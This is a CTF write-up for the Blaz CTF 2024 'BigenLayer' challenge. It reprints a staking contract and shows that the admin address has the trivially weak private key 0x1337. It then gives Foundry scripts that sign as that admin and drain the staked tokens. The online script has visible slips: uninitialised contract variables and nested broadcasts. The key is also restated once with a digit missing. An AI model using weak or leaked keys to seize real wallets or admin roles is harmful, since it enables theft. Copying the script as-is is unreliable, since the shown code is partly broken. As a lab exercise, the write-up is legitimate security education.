Blaz CTF 2024 - BigenLayer

Fuzzland Blaz CTF 2024 Series


Challenge

Bigen Layer, an modern & secure restaking protocol, is designed to provide uniformed restaking entry for tokens. Dive deep into the complexities of these systems, and remember—the missing piece might just be found in unexpected places.
Debug on Sentio

Handouts

/* Author: tonyke_bot */

# Solidity / 73 solves / 192 pts

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {ERC20} from "./ERC20.sol";

contract iPhone16 is ERC20 {
    constructor() {
        _mint(msg.sender, 1000 * 10 ** 18); // Mint 1000 tokens to the deployer
    }

    function name() public pure override returns (string memory) {
        return "iPhone16";
    }

    function symbol() public pure override returns (string memory) {
        return "AMAZING";
    }
}

contract BigenLayer {
    address public immutable owner;
    iPhone16 public immutable token;

    mapping(address => uint256) public stakedBalance;
    mapping(address => uint256) public withdrawalRequestTime;
    mapping(address => uint256) public pendingWithdrawals;
    mapping(address => address) public withdrawalRecipient;

    constructor(address _owner, iPhone16 _token) {
        owner = _owner;
        token = _token;
    }

    function stake(address onBehalf, uint256 amount) external {
        require(token.transferFrom(msg.sender, address(this), amount), "Transfer failed");
        stakedBalance[onBehalf] += amount;
    }

    function _requestWithdrawal(address user, uint256 amount, address recipient) internal {
        require(stakedBalance[user] >= amount, "Insufficient balance");
        stakedBalance[user] -= amount;
        pendingWithdrawals[user] += amount;
        withdrawalRequestTime[user] = block.timestamp;
        withdrawalRecipient[user] = recipient;
    }

    function requestWithdrawal(uint256 amount, address recipient) external {
        _requestWithdrawal(msg.sender, amount, recipient);
    }

    function adminRequestWithdrawal(address user, uint256 amount, address recipient) external {
        require(msg.sender == owner, "Only owner can call this function");
        _requestWithdrawal(user, amount, recipient);
    }

    function finalizeWithdrawal(address user) external {
        uint256 amount = pendingWithdrawals[user];
        require(amount > 0, "No pending withdrawal");
        require(block.timestamp >= withdrawalRequestTime[user] + 12 seconds, "Withdrawal too early");
        address recipient = withdrawalRecipient[user];
        pendingWithdrawals[user] = 0;
        require(token.transfer(recipient, amount), "Transfer failed");
    }
}

contract Challenge {
    address public immutable PLAYER;
    BigenLayer public immutable bigen;
    iPhone16 public immutable token;

    address public constant OWNER = 0x71556C38F44e17EC21F355Bd18416155000BF5a6;
    address public constant TIM_COOK = 0x2011082420110824201108242011082420110824;

    constructor(address player) {
        PLAYER = player;
        token = new iPhone16();
        bigen = new BigenLayer(OWNER, token);

        token.approve(address(bigen), type(uint256).max);
        bigen.stake(TIM_COOK, 16 * 10 ** 18);
    }

    function isSolved() external view returns (bool) {
        return token.balanceOf(PLAYER) >= 16 * 10 ** 18;
    }
}

Solution

By analyzing the handouts, we know that there are only 4 paths to pass this challenge:

  1. Find the hidden vulnerability in the BigenLayer contract and withdraw the staking amount.

  2. Find the hidden vulnerability in the iPhone16 contract and generate a large number of tokens out of the air.

  3. Forge the msg.sender to be TIM_COOK, initiate a requestWithdrawal() call, and then wait 12 seconds before calling the finalizeWithdrawal() function to withdraw the staking amount.

  4. Forge the msg.sender to be OWNER, initiate an adminRequestWithdrawal() call, and then wait 12 seconds before calling the finalizeWithdrawal() function to withdraw all of the staking amount.

The path1 and path2 are unavailable, because BigenLayer and iPhone16 contract are bug-free.

To forge the msg.sender to be TIM_COOK, we need to find the private key of 0x2011082420110824201108242011082420110824. Unfortunately, Tim did not leak his private key, at least I didn't find it. 🥲

To forge the msg.sender to be OWNER, we need to find the private key of 0x71556C38F44e17EC21F355Bd18416155000BF5a6. Luckily, we did find some clues via Google Search. 😄

Opening the discussion thread, we can see this:

Seems like we have found a private key leakage!

Let’s verify it:

from ecdsa import SigningKey, SECP256k1
from eth_utils import address
from Crypto.Hash import keccak

sk = SigningKey.from_string(bytes.fromhex(f"{0x1337:064x}"), curve=SECP256k1)
vk = sk.get_verifying_key()

private_key = sk.to_string()
public_key = vk.to_string()

keccak_hash = keccak.new(digest_bits=256)
keccak_hash.update(public_key)
keccak_digest = keccak_hash.digest()
_address = keccak_digest[-20:]

wallet_address = "0x" + _address.hex()
_private_key = "0x" + private_key.hex()

print(address.to_checksum_address(wallet_address))
#>>> "0x71556C38F44e17EC21F355Bd18416155000BF5a6"
print(_private_key)
#>>> "0x0000000000000000000000000000000000000000000000000000000000001337"

Fantastic! Now we know that the private key of the OWNER is 0x000000000000000000000000000000000000000000000000000000000001337!


Let's summarize the attack steps:

  1. Donate some gas fee to OWNER.

  2. Call BigenLayer.adminRequestWithdrawal() by using OWNER's private key.

  3. Sleep 12 seconds

  4. Call BigenLayer.finalizeWithdrawal() to withdraw all of the staking tokens.

Full solution code:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

// FilePath: /blazctf-2024/bigen-layer/challenge/project/test/Challenge.t.sol
// Test:
//     cd /blazctf-2024/bigen-layer/challenge/project
//     forge test --match-contract SolveOffline

import "forge-std/Script.sol";
import "forge-std/Test.sol";
import "forge-std/Script.sol";
import "src/Challenge.sol";

contract SolveOffline is Test {
    address public constant OWNER = 0x71556C38F44e17EC21F355Bd18416155000BF5a6;
    address public constant TIM_COOK = 0x2011082420110824201108242011082420110824;
    uint256 playerPrivateKey = vm.envOr("PLAYER", uint256(0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80));
    uint256 OwnerPrivateKey = 0x0000000000000000000000000000000000000000000000000000000000001337;
    address player = vm.addr(playerPrivateKey);

    Challenge challenge;
    BigenLayer bigenLayer;
    iPhone16 token;

    function setUp() public {
        challenge = new Challenge(player);
        bigenLayer = challenge.bigen();
        token = challenge.token();
        vm.deal(player, 1 ether);
    }

    function test_isSolved() public {
        exploit();        
        assertTrue(challenge.isSolved());
    }

    function exploit() public {
        vm.prank(player);
        payable(OWNER).transfer(0.001 ether); // donate 0.001 ether to OWNER

        vm.startPrank(OWNER);
        bigenLayer.adminRequestWithdrawal(TIM_COOK, token.balanceOf(address(bigenLayer)), player);
        vm.stopPrank();

        vm.warp(12+1);
        bigenLayer.finalizeWithdrawal(TIM_COOK);
    }
}


contract SolveOnline is Script {
    address public constant OWNER = 0x71556C38F44e17EC21F355Bd18416155000BF5a6;
    address public constant TIM_COOK = 0x2011082420110824201108242011082420110824;
    uint256 playerPrivateKey = vm.envOr("PLAYER", uint256(0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80));
    uint256 OwnerPrivateKey = 0x0000000000000000000000000000000000000000000000000000000000001337;
    address player = vm.addr(playerPrivateKey);

    Challenge challenge;
    BigenLayer bigenLayer;
    iPhone16 token;

    function run() public {
        vm.startBroadcast(playerPrivateKey);
        payable(OWNER).transfer(0.001 ether); // donate 0.001 ether to OWNER

        vm.startBroadcast(OwnerPrivateKey);
        bigenLayer.adminRequestWithdrawal(TIM_COOK, token.balanceOf(address(bigenLayer)), player);
        vm.stopBroadcast();

        vm.sleep(12+1);
        vm.startBroadcast(playerPrivateKey);
        bigenLayer.finalizeWithdrawal(TIM_COOK);
    }
}